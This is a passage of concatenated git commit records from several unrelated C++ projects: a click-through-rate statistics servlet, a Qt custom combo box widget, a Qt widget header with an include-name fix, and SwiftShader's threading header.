json.addObjectEntry("views");
json.addInteger(c.second.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(c.second.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(c.second.num_clicks / (double) c.second.num_views);
json.addComma();
json.addObjectEntry("ctr_base");
json.addFloat(c.second.num_clicks / (double) total_views);
json.addComma();
json.addObjectEntry("clickshare");
json.addFloat(c.second.num_clicks / (double) total_clicks);
json.endObject();
}
json.endArray();
}
}
<commit_msg>CTRStatsServlet...<commit_after>/**
* Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>
* All Rights Reserved.
*
* This file is CONFIDENTIAL -- Distribution or duplication of this material or
* the information contained herein is strictly forbidden unless prior written
* permission is obtained.
*/
#include "CTRStatsServlet.h"
#include "CTRCounter.h"
#include "fnord-base/Language.h"
#include "fnord-base/wallclock.h"
#include "fnord-base/io/fileutil.h"
#include "fnord-sstable/sstablereader.h"
#include "fnord-sstable/SSTableScan.h"
using namespace fnord;
namespace cm {
CTRStatsServlet::CTRStatsServlet(VFS* vfs) : vfs_(vfs) {}
void CTRStatsServlet::handleHTTPRequest(
http::HTTPRequest* req,
http::HTTPResponse* res) {
URI uri(req->uri());
const auto& params = uri.queryParams();
/* arguments */
String customer;
if (!URI::getParam(params, "customer", &customer)) {
res->addBody("error: missing ?customer=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
String lang_str;
if (!URI::getParam(params, "lang", &lang_str)) {
res->addBody("error: missing ?lang=... parameter");
res->setStatus(http::kStatusBadRequest);
return;
}
auto end_time = WallClock::unixMicros();
auto start_time = end_time - 30 * kMicrosPerDay;
Set<String> test_groups { "all" };
Set<String> device_types { "unknown", "desktop", "tablet", "phone" };
Set<String> pages { "all" };
/* prepare prefix filters for scanning */
String scan_common_prefix = lang_str + "~";
if (test_groups.size() == 1) {
scan_common_prefix += *test_groups.begin() + "~";
}
if (device_types.size() == 1) {
scan_common_prefix += *device_types.begin() + "~";
}
if (pages.size() == 1) {
scan_common_prefix += *pages.begin();
}
/* prepare input tables */
Set<String> tables;
for (uint64_t i = end_time; i >= start_time; i -= kMicrosPerDay) {
tables.emplace(StringUtil::format(
"$0_ctr_stats_daily.$1.sstable",
customer,
i / kMicrosPerDay));
}
/* scan input tables */
HashMap<uint64_t, CTRCounterData> counters;
CTRCounterData aggr_counter;
for (const auto& tbl : tables) {
if (!vfs_->exists(tbl)) {
continue;
}
sstable::SSTableReader reader(vfs_->openFile(tbl));
if (reader.bodySize() == 0 || reader.isFinalized() == 0) {
continue;
}
sstable::SSTableScan scan;
scan.setKeyPrefix(scan_common_prefix);
auto cursor = reader.getCursor();
scan.execute(cursor.get(), [&] (const Vector<String> row) {
if (row.size() != 2) {
RAISEF(kRuntimeError, "invalid row length: $0", row.size());
}
auto dims = StringUtil::split(row[0], "~");
if (dims.size() != 4) {
RAISEF(kRuntimeError, "invalid row key: $0", row[0]);
}
if (dims[0] != lang_str) {
return;
}
if (test_groups.count(dims[1]) == 0) {
return;
}
if (device_types.count(dims[2]) == 0) {
return;
}
if (pages.count(dims[3]) == 0) {
return;
}
auto counter = CTRCounterData::load(row[1]);
counters[0].merge(counter);
aggr_counter.merge(counter);
});
}
/* write response */
res->setStatus(http::kStatusOK);
res->addHeader("Content-Type", "application/json; charset=utf-8");
json::JSONOutputStream json(res->getBodyOutputStream());
json.beginObject();
json.addObjectEntry("aggregate");
json.beginObject();
json.addObjectEntry("views");
json.addInteger(aggr_counter.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(aggr_counter.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(aggr_counter.num_clicks / (double) aggr_counter.num_views);
json.addComma();
json.addObjectEntry("cpq");
json.addFloat(aggr_counter.num_clicked / (double) aggr_counter.num_views);
json.endObject();
json.addComma();
json.addObjectEntry("timeseries");
json.beginArray();
int n = 0;
for (const auto& c : counters) {
if (++n > 1) {
json.addComma();
}
json.beginObject();
json.addObjectEntry("time");
json.addInteger(c.first);
json.addComma();
json.addObjectEntry("views");
json.addInteger(c.second.num_views);
json.addComma();
json.addObjectEntry("clicks");
json.addInteger(c.second.num_clicks);
json.addComma();
json.addObjectEntry("ctr");
json.addFloat(c.second.num_clicks / (double) c.second.num_views);
json.addComma();
json.addObjectEntry("cpq");
json.addFloat(c.second.num_clicked / (double) c.second.num_views);
json.endObject();
}
json.endArray();
json.endObject();
}
}
<|endoftext|>
|
<commit_before>#include <CQCustomCombo.h>
#include <QListWidgetItem>
#include <QItemDelegate>
#include <QPainter>
#include <QApplication>
class CQCustomComboItem : public QListWidgetItem {
public:
CQCustomComboItem(CQCustomCombo *combo, const QString &str);
virtual ~CQCustomComboItem() { }
void setIsTitle(bool b) {
isTitle_ = b;
if (isTitle_)
setSelectable(false);
}
bool isTitle() const { return isTitle_; }
void setSelectable(bool selectable) {
selectable_ = selectable;
if (selectable_)
setFlags(flags() | (Qt::ItemIsSelectable | Qt::ItemIsUserCheckable | Qt::ItemIsEnabled));
else
setFlags(flags() & ~(Qt::ItemIsSelectable | Qt::ItemIsUserCheckable | Qt::ItemIsEnabled));
}
bool isSelectable() const {
return (flags() & (Qt::ItemIsSelectable | Qt::ItemIsUserCheckable | Qt::ItemIsEnabled));
}
private:
CQCustomCombo *combo_;
bool isTitle_;
bool selectable_;
};
//------
class CQCustomComboDelegate : public QItemDelegate {
public:
CQCustomComboDelegate(CQCustomCombo *combo) :
combo_(combo) {
}
void paint(QPainter *painter, const QStyleOptionViewItem &option,
const QModelIndex &index) const {
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(combo_->list()->item(index.row()));
QStyleOptionMenuItem opt = getStyleOption(option, index, item);
painter->fillRect(opt.rect, opt.palette.background());
combo_->style()->drawControl(QStyle::CE_MenuItem, &opt, painter, combo_);
}
QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const {
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(combo_->list()->item(index.row()));
QStyleOptionMenuItem opt = getStyleOption(option, index, item);
return combo_->style()->sizeFromContents(QStyle::CT_MenuItem, &opt, option.rect.size(), combo_);
}
QStyleOptionMenuItem getStyleOption(const QStyleOptionViewItem &option,
const QModelIndex &index, CQCustomComboItem *item) const {
QStyleOptionMenuItem menuOption;
QPalette resolvedpalette = option.palette.resolve(QApplication::palette("QMenu"));
QBrush textBrush = resolvedpalette.brush(QPalette::Active, QPalette::Text);
QVariant value = index.data(Qt::ForegroundRole);
if (value.canConvert<QBrush>())
textBrush = qvariant_cast<QBrush>(value);
if (! item->isSelectable())
textBrush = resolvedpalette.brush(QPalette::Disabled, QPalette::Text);
if (item->isTitle())
textBrush = resolvedpalette.brush(QPalette::Active, QPalette::HighlightedText);
resolvedpalette.setBrush(QPalette::WindowText, textBrush);
resolvedpalette.setBrush(QPalette::ButtonText, textBrush);
resolvedpalette.setBrush(QPalette::Text , textBrush);
menuOption.palette = resolvedpalette;
menuOption.state = QStyle::State_None;
if (combo_->window()->isActiveWindow())
menuOption.state = QStyle::State_Active;
if ((option.state & QStyle::State_Enabled) && (index.model()->flags(index) & Qt::ItemIsEnabled))
menuOption.state |= QStyle::State_Enabled;
else
menuOption.palette.setCurrentColorGroup(QPalette::Disabled);
if (option.state & QStyle::State_Selected)
menuOption.state |= QStyle::State_Selected;
menuOption.checkType = QStyleOptionMenuItem::NonExclusive;
menuOption.checked = (combo_->currentIndex() == index.row());
if (isSeparator(index))
menuOption.menuItemType = QStyleOptionMenuItem::Separator;
else
menuOption.menuItemType = QStyleOptionMenuItem::Normal;
QVariant variant = index.model()->data(index, Qt::DecorationRole);
#if 0
switch (variant.type()) {
case QVariant::Icon:
menuOption.icon = qvariant_cast<QIcon>(variant);
break;
case QVariant::Color: {
static QPixmap pixmap(option.decorationSize);
pixmap.fill(qvariant_cast<QColor>(variant));
menuOption.icon = pixmap;
break; }
default:
menuOption.icon = qvariant_cast<QPixmap>(variant);
break;
}
#endif
QBrush bgBrush = menuOption.palette.brush(QPalette::Background);
if (index.data(Qt::BackgroundRole).canConvert<QBrush>())
bgBrush = qvariant_cast<QBrush>(index.data(Qt::BackgroundRole));
if (item->isTitle())
bgBrush = resolvedpalette.brush(QPalette::Active, QPalette::Highlight);
menuOption.palette.setBrush(QPalette::All, QPalette::Background, bgBrush);
menuOption.text = index.model()->data(index, Qt::DisplayRole).toString();
//menuOption.text = menuOption.text.replace(QLatin1Char('&'), QLatin1String("&&"));
menuOption.tabWidth = 0;
menuOption.maxIconWidth = option.decorationSize.width() + 4;
menuOption.menuRect = option.rect;
menuOption.rect = option.rect;
menuOption.font = combo_->font();
menuOption.fontMetrics = QFontMetrics(menuOption.font);
if (item->isTitle())
menuOption.font.setBold(true);
return menuOption;
}
static bool isSeparator(const QModelIndex &index) {
return (index.data(Qt::AccessibleDescriptionRole).toString() == "separator");
}
private:
CQCustomCombo *combo_;
};
//------
class CQCustomComboTitle : public CQCustomComboItem {
public:
CQCustomComboTitle(CQCustomCombo *combo, const QString &str) :
CQCustomComboItem(combo, str) {
setSelectable(false);
setIsTitle(true);
}
};
//------
CQCustomComboItem::
CQCustomComboItem(CQCustomCombo *combo, const QString &str) :
QListWidgetItem(str), combo_(combo), isTitle_(false), selectable_(true)
{
}
//------
CQCustomCombo::
CQCustomCombo(QWidget *parent) :
QComboBox(parent), list_(0)
{
list_ = new QListWidget;
list_->setItemDelegate(new CQCustomComboDelegate(this));
setModel(list_->model());
setView(list_);
}
void
CQCustomCombo::
addTitle(const QString &text)
{
list_->addItem(new CQCustomComboTitle(this, text));
resetCurrentInd();
}
void
CQCustomCombo::
addItem(const QString &text)
{
list_->addItem(new CQCustomComboItem(this, text));
resetCurrentInd();
}
void
CQCustomCombo::
setIsTitle(int ind, bool b)
{
CQCustomComboItem *item = dynamic_cast<CQCustomComboItem *>(list_->item(ind));
item->setIsTitle(b);
resetCurrentInd();
}
void
CQCustomCombo::
setSelectable(int ind, bool b)
{
CQCustomComboItem *item = dynamic_cast<CQCustomComboItem *>(list_->item(ind));
item->setSelectable(b);
resetCurrentInd();
}
void
CQCustomCombo::
resetCurrentInd()
{
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(list()->item(currentIndex()));
if (item->isSelectable())
return;
for (int i = 0; i < count(); ++i) {
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(list()->item(i));
if (item->isSelectable()) {
setCurrentIndex(i);
break;
}
}
}
<commit_msg>new files<commit_after>#include <CQCustomCombo.h>
#include <QListWidgetItem>
#include <QItemDelegate>
#include <QPainter>
#include <QApplication>
class CQCustomComboItem : public QListWidgetItem {
public:
CQCustomComboItem(CQCustomCombo *combo, const QString &str);
virtual ~CQCustomComboItem() { }
CQCustomCombo *combo() const { return combo_; }
void setIsTitle(bool b) {
isTitle_ = b;
if (isTitle_)
setSelectable(false);
}
bool isTitle() const { return isTitle_; }
void setSelectable(bool selectable) {
selectable_ = selectable;
if (selectable_)
setFlags(flags() | (Qt::ItemIsSelectable | Qt::ItemIsUserCheckable | Qt::ItemIsEnabled));
else
setFlags(flags() & ~(Qt::ItemIsSelectable | Qt::ItemIsUserCheckable | Qt::ItemIsEnabled));
}
bool isSelectable() const {
return (flags() & (Qt::ItemIsSelectable | Qt::ItemIsUserCheckable | Qt::ItemIsEnabled));
}
private:
CQCustomCombo *combo_;
bool isTitle_;
bool selectable_;
};
//------
class CQCustomComboDelegate : public QItemDelegate {
public:
CQCustomComboDelegate(CQCustomCombo *combo) :
combo_(combo) {
}
void paint(QPainter *painter, const QStyleOptionViewItem &option,
const QModelIndex &index) const {
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(combo_->list()->item(index.row()));
QStyleOptionMenuItem opt = getStyleOption(option, index, item);
painter->fillRect(opt.rect, opt.palette.background());
combo_->style()->drawControl(QStyle::CE_MenuItem, &opt, painter, combo_);
}
QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const {
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(combo_->list()->item(index.row()));
QStyleOptionMenuItem opt = getStyleOption(option, index, item);
return combo_->style()->sizeFromContents(QStyle::CT_MenuItem, &opt, option.rect.size(), combo_);
}
QStyleOptionMenuItem getStyleOption(const QStyleOptionViewItem &option,
const QModelIndex &index, CQCustomComboItem *item) const {
QStyleOptionMenuItem menuOption;
QPalette resolvedpalette = option.palette.resolve(QApplication::palette("QMenu"));
QBrush textBrush = resolvedpalette.brush(QPalette::Active, QPalette::Text);
QVariant value = index.data(Qt::ForegroundRole);
if (value.canConvert<QBrush>())
textBrush = qvariant_cast<QBrush>(value);
if (! item->isSelectable())
textBrush = resolvedpalette.brush(QPalette::Disabled, QPalette::Text);
if (item->isTitle())
textBrush = resolvedpalette.brush(QPalette::Active, QPalette::HighlightedText);
resolvedpalette.setBrush(QPalette::WindowText, textBrush);
resolvedpalette.setBrush(QPalette::ButtonText, textBrush);
resolvedpalette.setBrush(QPalette::Text , textBrush);
menuOption.palette = resolvedpalette;
menuOption.state = QStyle::State_None;
if (combo_->window()->isActiveWindow())
menuOption.state = QStyle::State_Active;
if ((option.state & QStyle::State_Enabled) && (index.model()->flags(index) & Qt::ItemIsEnabled))
menuOption.state |= QStyle::State_Enabled;
else
menuOption.palette.setCurrentColorGroup(QPalette::Disabled);
if (option.state & QStyle::State_Selected)
menuOption.state |= QStyle::State_Selected;
menuOption.checkType = QStyleOptionMenuItem::NonExclusive;
menuOption.checked = (combo_->currentIndex() == index.row());
if (isSeparator(index))
menuOption.menuItemType = QStyleOptionMenuItem::Separator;
else
menuOption.menuItemType = QStyleOptionMenuItem::Normal;
QVariant variant = index.model()->data(index, Qt::DecorationRole);
#if 0
switch (variant.type()) {
case QVariant::Icon:
menuOption.icon = qvariant_cast<QIcon>(variant);
break;
case QVariant::Color: {
static QPixmap pixmap(option.decorationSize);
pixmap.fill(qvariant_cast<QColor>(variant));
menuOption.icon = pixmap;
break; }
default:
menuOption.icon = qvariant_cast<QPixmap>(variant);
break;
}
#endif
QBrush bgBrush = menuOption.palette.brush(QPalette::Background);
if (index.data(Qt::BackgroundRole).canConvert<QBrush>())
bgBrush = qvariant_cast<QBrush>(index.data(Qt::BackgroundRole));
if (item->isTitle())
bgBrush = resolvedpalette.brush(QPalette::Active, QPalette::Highlight);
menuOption.palette.setBrush(QPalette::All, QPalette::Background, bgBrush);
menuOption.text = index.model()->data(index, Qt::DisplayRole).toString();
//menuOption.text = menuOption.text.replace(QLatin1Char('&'), QLatin1String("&&"));
menuOption.tabWidth = 0;
menuOption.maxIconWidth = option.decorationSize.width() + 4;
menuOption.menuRect = option.rect;
menuOption.rect = option.rect;
menuOption.font = combo_->font();
menuOption.fontMetrics = QFontMetrics(menuOption.font);
if (item->isTitle())
menuOption.font.setBold(true);
return menuOption;
}
static bool isSeparator(const QModelIndex &index) {
return (index.data(Qt::AccessibleDescriptionRole).toString() == "separator");
}
private:
CQCustomCombo *combo_;
};
//------
class CQCustomComboTitle : public CQCustomComboItem {
public:
CQCustomComboTitle(CQCustomCombo *combo, const QString &str) :
CQCustomComboItem(combo, str) {
setSelectable(false);
setIsTitle(true);
}
};
//------
CQCustomComboItem::
CQCustomComboItem(CQCustomCombo *combo, const QString &str) :
QListWidgetItem(str), combo_(combo), isTitle_(false), selectable_(true)
{
}
//------
CQCustomCombo::
CQCustomCombo(QWidget *parent) :
QComboBox(parent), list_(0)
{
list_ = new QListWidget;
list_->setItemDelegate(new CQCustomComboDelegate(this));
setModel(list_->model());
setView(list_);
}
void
CQCustomCombo::
addTitle(const QString &text)
{
list_->addItem(new CQCustomComboTitle(this, text));
resetCurrentInd();
}
void
CQCustomCombo::
addItem(const QString &text)
{
list_->addItem(new CQCustomComboItem(this, text));
resetCurrentInd();
}
void
CQCustomCombo::
setIsTitle(int ind, bool b)
{
CQCustomComboItem *item = dynamic_cast<CQCustomComboItem *>(list_->item(ind));
item->setIsTitle(b);
resetCurrentInd();
}
void
CQCustomCombo::
setSelectable(int ind, bool b)
{
CQCustomComboItem *item = dynamic_cast<CQCustomComboItem *>(list_->item(ind));
item->setSelectable(b);
resetCurrentInd();
}
void
CQCustomCombo::
resetCurrentInd()
{
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(list()->item(currentIndex()));
if (item->isSelectable())
return;
for (int i = 0; i < count(); ++i) {
CQCustomComboItem *item = static_cast<CQCustomComboItem *>(list()->item(i));
if (item->isSelectable()) {
setCurrentIndex(i);
break;
}
}
}
<|endoftext|>
|
<commit_before>#ifndef CENTRALWIDGET_HPP
#define CENTRALWIDGET_HPP
#include <QtGui>
#include <QString>
#include <QComboBox>
#include <QHBoxLayout>
#include "Environments.hpp"
#include "addNewEnvDialog.hpp"
#include "ChangeEnvDataDialog.hpp"
class CentralWidget : public QWidget {
Q_OBJECT
public:
CentralWidget(QWidget* parent = 0);
signals:
void exitSignal();
void requestToVisible();
void requestToInvisible();
public slots:
void update();
public slots:
void setVisibleTrue(){emit requestToVisible();};
private slots:
void addNewEnvironment();
void AddNewEnvDialogIsSet(AddNewEnvDialog_d*);
void ExitButtonPushed();
void OKButtonPushed();
void callChangeEnvDataDialog();
void selectEnvBoxChanged(const QString&);
private:
void initEnvironments();
void initComboBox(Environments*);
void initButtons();
void initInformationViewer();
void setupUI();
QComboBox* selectEnvBox;
QPushButton* OKButton;
QPushButton* AddButton;
QPushButton* ChangeDataButton;
QPushButton* ExitButton;
QLabel* mViewer;
QLabel* versionViewer;
QTextEdit* commentViewer;
QLabel* currentEnvLabel;
QLineEdit* currentEnvView;
AddNewEnvDialog* addEnvdlg;
ChangeEnvDataDialog* changeDataDialog;
Environments* mcenvs;
};
#endif
<commit_msg>fixed include file name<commit_after>#ifndef CENTRALWIDGET_HPP
#define CENTRALWIDGET_HPP
#include <QtGui>
#include <QString>
#include <QComboBox>
#include <QHBoxLayout>
#include "Environments.hpp"
#include "AddNewEnvDialog.hpp"
#include "ChangeEnvDataDialog.hpp"
class CentralWidget : public QWidget {
Q_OBJECT
public:
CentralWidget(QWidget* parent = 0);
signals:
void exitSignal();
void requestToVisible();
void requestToInvisible();
public slots:
void update();
public slots:
void setVisibleTrue(){emit requestToVisible();};
private slots:
void addNewEnvironment();
void AddNewEnvDialogIsSet(AddNewEnvDialog_d*);
void ExitButtonPushed();
void OKButtonPushed();
void callChangeEnvDataDialog();
void selectEnvBoxChanged(const QString&);
private:
void initEnvironments();
void initComboBox(Environments*);
void initButtons();
void initInformationViewer();
void setupUI();
QComboBox* selectEnvBox;
QPushButton* OKButton;
QPushButton* AddButton;
QPushButton* ChangeDataButton;
QPushButton* ExitButton;
QLabel* mViewer;
QLabel* versionViewer;
QTextEdit* commentViewer;
QLabel* currentEnvLabel;
QLineEdit* currentEnvView;
AddNewEnvDialog* addEnvdlg;
ChangeEnvDataDialog* changeDataDialog;
Environments* mcenvs;
};
#endif
<|endoftext|>
|
<commit_before>// Copyright 2016 The SwiftShader Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef sw_Thread_hpp
#define sw_Thread_hpp
#if defined(_WIN32)
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <intrin.h>
#else
#include <pthread.h>
#include <sched.h>
#include <unistd.h>
#define TLS_OUT_OF_INDEXES (pthread_key_t)(~0)
#endif
#include <stdlib.h>
#if defined(__clang__)
#if __has_include(<atomic>) // clang has an explicit check for the availability of atomic
#define USE_STD_ATOMIC 1
#endif
// atomic is available in C++11 or newer, and in Visual Studio 2012 or newer
#elif (defined(_MSC_VER) && (_MSC_VER >= 1700)) || (__cplusplus >= 201103L)
#define USE_STD_ATOMIC 1
#endif
#if USE_STD_ATOMIC
#include <atomic>
#endif
namespace sw
{
class Event;
class Thread
{
public:
Thread(void (*threadFunction)(void *parameters), void *parameters);
~Thread();
void join();
static void yield();
static void sleep(int milliseconds);
#if defined(_WIN32)
typedef DWORD LocalStorageKey;
#else
typedef pthread_key_t LocalStorageKey;
#endif
static LocalStorageKey allocateLocalStorageKey(void (*destructor)(void *storage) = free);
static void freeLocalStorageKey(LocalStorageKey key);
static void *allocateLocalStorage(LocalStorageKey key, size_t size);
static void *getLocalStorage(LocalStorageKey key);
static void freeLocalStorage(LocalStorageKey key);
private:
struct Entry
{
void (*const threadFunction)(void *parameters);
void *threadParameters;
Event *init;
};
#if defined(_WIN32)
static unsigned long __stdcall startFunction(void *parameters);
HANDLE handle;
#else
static void *startFunction(void *parameters);
pthread_t handle;
#endif
bool hasJoined = false;
};
class Event
{
friend class Thread;
public:
Event();
~Event();
void signal();
void wait();
private:
#if defined(_WIN32)
HANDLE handle;
#else
pthread_cond_t handle;
pthread_mutex_t mutex;
volatile bool signaled;
#endif
};
#if PERF_PROFILE
int64_t atomicExchange(int64_t volatile *target, int64_t value);
#endif
int atomicExchange(int volatile *target, int value);
int atomicIncrement(int volatile *value);
int atomicDecrement(int volatile *value);
int atomicAdd(int volatile *target, int value);
void nop();
}
namespace sw
{
inline void Thread::yield()
{
#if defined(_WIN32)
Sleep(0);
#elif defined(__APPLE__)
pthread_yield_np();
#else
sched_yield();
#endif
}
inline void Thread::sleep(int milliseconds)
{
#if defined(_WIN32)
Sleep(milliseconds);
#else
usleep(1000 * milliseconds);
#endif
}
inline Thread::LocalStorageKey Thread::allocateLocalStorageKey(void (*destructor)(void *storage))
{
#if defined(_WIN32)
return TlsAlloc();
#else
LocalStorageKey key;
pthread_key_create(&key, destructor);
return key;
#endif
}
inline void Thread::freeLocalStorageKey(LocalStorageKey key)
{
#if defined(_WIN32)
TlsFree(key);
#else
pthread_key_delete(key); // Using an invalid key is an error but not undefined behavior.
#endif
}
inline void *Thread::allocateLocalStorage(LocalStorageKey key, size_t size)
{
if(key == TLS_OUT_OF_INDEXES)
{
return nullptr;
}
freeLocalStorage(key);
void *storage = malloc(size);
#if defined(_WIN32)
TlsSetValue(key, storage);
#else
pthread_setspecific(key, storage);
#endif
return storage;
}
inline void *Thread::getLocalStorage(LocalStorageKey key)
{
#if defined(_WIN32)
return TlsGetValue(key);
#else
if(key == TLS_OUT_OF_INDEXES) // Avoid undefined behavior.
{
return nullptr;
}
return pthread_getspecific(key);
#endif
}
inline void Thread::freeLocalStorage(LocalStorageKey key)
{
free(getLocalStorage(key));
#if defined(_WIN32)
TlsSetValue(key, nullptr);
#else
pthread_setspecific(key, nullptr);
#endif
}
inline void Event::signal()
{
#if defined(_WIN32)
SetEvent(handle);
#else
pthread_mutex_lock(&mutex);
signaled = true;
pthread_cond_signal(&handle);
pthread_mutex_unlock(&mutex);
#endif
}
inline void Event::wait()
{
#if defined(_WIN32)
WaitForSingleObject(handle, INFINITE);
#else
pthread_mutex_lock(&mutex);
while(!signaled) pthread_cond_wait(&handle, &mutex);
signaled = false;
pthread_mutex_unlock(&mutex);
#endif
}
#if PERF_PROFILE
inline int64_t atomicExchange(volatile int64_t *target, int64_t value)
{
#if defined(_WIN32)
return InterlockedExchange64(target, value);
#else
int ret;
__asm__ __volatile__("lock; xchg8 %0,(%1)" : "=r" (ret) :"r" (target), "0" (value) : "memory" );
return ret;
#endif
}
#endif
inline int atomicExchange(volatile int *target, int value)
{
#if defined(_WIN32)
return InterlockedExchange((volatile long*)target, (long)value);
#else
int ret;
__asm__ __volatile__("lock; xchgl %0,(%1)" : "=r" (ret) :"r" (target), "0" (value) : "memory" );
return ret;
#endif
}
inline int atomicIncrement(volatile int *value)
{
#if defined(_WIN32)
return InterlockedIncrement((volatile long*)value);
#else
return __sync_add_and_fetch(value, 1);
#endif
}
inline int atomicDecrement(volatile int *value)
{
#if defined(_WIN32)
return InterlockedDecrement((volatile long*)value);
#else
return __sync_sub_and_fetch(value, 1);
#endif
}
inline int atomicAdd(volatile int* target, int value)
{
#if defined(_WIN32)
return InterlockedExchangeAdd((volatile long*)target, value) + value;
#else
return __sync_add_and_fetch(target, value);
#endif
}
inline void nop()
{
#if defined(_WIN32)
__nop();
#else
__asm__ __volatile__ ("nop");
#endif
}
#if USE_STD_ATOMIC
class AtomicInt
{
public:
AtomicInt() : ai() {}
AtomicInt(int i) : ai(i) {}
inline operator int() const { return ai.load(std::memory_order_acquire); }
inline void operator=(const AtomicInt& i) { ai.store(i.ai.load(std::memory_order_acquire), std::memory_order_release); }
inline void operator=(int i) { ai.store(i, std::memory_order_release); }
inline void operator--() { ai.fetch_sub(1, std::memory_order_acq_rel); }
inline void operator++() { ai.fetch_add(1, std::memory_order_acq_rel); }
inline int operator--(int) { return ai.fetch_sub(1, std::memory_order_acq_rel) - 1; }
inline int operator++(int) { return ai.fetch_add(1, std::memory_order_acq_rel) + 1; }
inline void operator-=(int i) { ai.fetch_sub(i, std::memory_order_acq_rel); }
inline void operator+=(int i) { ai.fetch_add(i, std::memory_order_acq_rel); }
private:
std::atomic<int> ai;
};
#else
class AtomicInt
{
public:
AtomicInt() {}
AtomicInt(int i) : vi(i) {}
inline operator int() const { return vi; } // Note: this isn't a guaranteed atomic operation
inline void operator=(const AtomicInt& i) { sw::atomicExchange(&vi, i.vi); }
inline void operator=(int i) { sw::atomicExchange(&vi, i); }
inline void operator--() { sw::atomicDecrement(&vi); }
inline void operator++() { sw::atomicIncrement(&vi); }
inline int operator--(int) { return sw::atomicDecrement(&vi); }
inline int operator++(int) { return sw::atomicIncrement(&vi); }
inline void operator-=(int i) { sw::atomicAdd(&vi, -i); }
inline void operator+=(int i) { sw::atomicAdd(&vi, i); }
private:
volatile int vi;
};
#endif
}
#endif // sw_Thread_hpp
<commit_msg>Move atomicExchange under PERF_PROFILE<commit_after>// Copyright 2016 The SwiftShader Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef sw_Thread_hpp
#define sw_Thread_hpp
#if defined(_WIN32)
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <windows.h>
#include <intrin.h>
#else
#include <pthread.h>
#include <sched.h>
#include <unistd.h>
#define TLS_OUT_OF_INDEXES (pthread_key_t)(~0)
#endif
#include <stdlib.h>
#if defined(__clang__)
#if __has_include(<atomic>) // clang has an explicit check for the availability of atomic
#define USE_STD_ATOMIC 1
#endif
// atomic is available in C++11 or newer, and in Visual Studio 2012 or newer
#elif (defined(_MSC_VER) && (_MSC_VER >= 1700)) || (__cplusplus >= 201103L)
#define USE_STD_ATOMIC 1
#endif
#if USE_STD_ATOMIC
#include <atomic>
#endif
namespace sw
{
class Event;
class Thread
{
public:
Thread(void (*threadFunction)(void *parameters), void *parameters);
~Thread();
void join();
static void yield();
static void sleep(int milliseconds);
#if defined(_WIN32)
typedef DWORD LocalStorageKey;
#else
typedef pthread_key_t LocalStorageKey;
#endif
static LocalStorageKey allocateLocalStorageKey(void (*destructor)(void *storage) = free);
static void freeLocalStorageKey(LocalStorageKey key);
static void *allocateLocalStorage(LocalStorageKey key, size_t size);
static void *getLocalStorage(LocalStorageKey key);
static void freeLocalStorage(LocalStorageKey key);
private:
struct Entry
{
void (*const threadFunction)(void *parameters);
void *threadParameters;
Event *init;
};
#if defined(_WIN32)
static unsigned long __stdcall startFunction(void *parameters);
HANDLE handle;
#else
static void *startFunction(void *parameters);
pthread_t handle;
#endif
bool hasJoined = false;
};
class Event
{
friend class Thread;
public:
Event();
~Event();
void signal();
void wait();
private:
#if defined(_WIN32)
HANDLE handle;
#else
pthread_cond_t handle;
pthread_mutex_t mutex;
volatile bool signaled;
#endif
};
#if PERF_PROFILE
int64_t atomicExchange(int64_t volatile *target, int64_t value);
int atomicExchange(int volatile *target, int value);
#endif
int atomicIncrement(int volatile *value);
int atomicDecrement(int volatile *value);
int atomicAdd(int volatile *target, int value);
void nop();
}
namespace sw
{
inline void Thread::yield()
{
#if defined(_WIN32)
Sleep(0);
#elif defined(__APPLE__)
pthread_yield_np();
#else
sched_yield();
#endif
}
inline void Thread::sleep(int milliseconds)
{
#if defined(_WIN32)
Sleep(milliseconds);
#else
usleep(1000 * milliseconds);
#endif
}
inline Thread::LocalStorageKey Thread::allocateLocalStorageKey(void (*destructor)(void *storage))
{
#if defined(_WIN32)
return TlsAlloc();
#else
LocalStorageKey key;
pthread_key_create(&key, destructor);
return key;
#endif
}
inline void Thread::freeLocalStorageKey(LocalStorageKey key)
{
#if defined(_WIN32)
TlsFree(key);
#else
pthread_key_delete(key); // Using an invalid key is an error but not undefined behavior.
#endif
}
inline void *Thread::allocateLocalStorage(LocalStorageKey key, size_t size)
{
if(key == TLS_OUT_OF_INDEXES)
{
return nullptr;
}
freeLocalStorage(key);
void *storage = malloc(size);
#if defined(_WIN32)
TlsSetValue(key, storage);
#else
pthread_setspecific(key, storage);
#endif
return storage;
}
inline void *Thread::getLocalStorage(LocalStorageKey key)
{
#if defined(_WIN32)
return TlsGetValue(key);
#else
if(key == TLS_OUT_OF_INDEXES) // Avoid undefined behavior.
{
return nullptr;
}
return pthread_getspecific(key);
#endif
}
inline void Thread::freeLocalStorage(LocalStorageKey key)
{
free(getLocalStorage(key));
#if defined(_WIN32)
